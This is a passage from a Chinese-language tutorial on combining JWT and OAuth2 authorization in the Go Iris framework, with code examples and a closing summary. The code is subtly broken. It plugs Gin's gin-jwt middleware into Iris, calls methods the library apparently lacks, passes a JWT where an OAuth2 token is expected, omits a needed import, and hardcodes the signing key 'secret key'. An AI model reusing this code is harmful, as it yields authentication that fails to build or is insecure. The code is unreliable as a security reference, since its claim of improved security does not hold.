app.Get("/admin", jwtMiddleware.AuthorizeRole("admin"), func(ctx iris.Context) { ctx.Writef("Welcome admin!") }) app.Listen(":8080") } 3.2 结合OAuth2与JWT的策略决策树 为了进一步增强安全性，我们可以将OAuth2的授权状态纳入策略决策树中。这意味着，不仅需要验证用户的JWT，还需要检查OAuth2授权的状态，以确保用户具有访问特定资源的权限。 代码示例：结合OAuth2与JWT的策略决策 go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" "golang.org/x/oauth2" ) // 自定义的OAuth2授权检查函数 func checkOAuth2Authorization(token oauth2.Token) bool { // 这里可以根据实际情况添加更多的检查逻辑 return token.Valid() } func main() { app := iris.New() jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", IdentityHandler: func(c jwt.Manager, ctx iris.Context) (interface{}, error) { claims := jwt.ExtractClaims(ctx) role := claims["role"].(string) return &MyCustomClaims{Role: role}, nil }, }) app.Use(jwtMiddleware.MiddlewareFunc()) app.Get("/secure-resource", jwtMiddleware.AuthorizeRole("user"), func(ctx iris.Context) { // 获取当前请求的JWT令牌 token := jwtMiddleware.TokenFromRequest(ctx.Request()) // 检查OAuth2授权状态 if !checkOAuth2Authorization(token) { ctx.StatusCode(iris.StatusUnauthorized) ctx.Writef("Unauthorized access") return } ctx.Writef("Access granted to secure resource") }) app.Listen(":8080") } 4. 总结与展望 通过以上讨论和代码示例，我们看到了如何在Iris框架中有效地使用JWT和OAuth2来构建一个智能的授权决策系统。这不仅提高了应用的安全性，还增强了用户体验。以后啊，随着技术不断进步，咱们可以期待更多酷炫的新方法来简化这些流程，让认证和授权变得超级高效又方便。 希望这篇探索之旅对你有所帮助，也欢迎你加入讨论，分享你的见解和实践经验！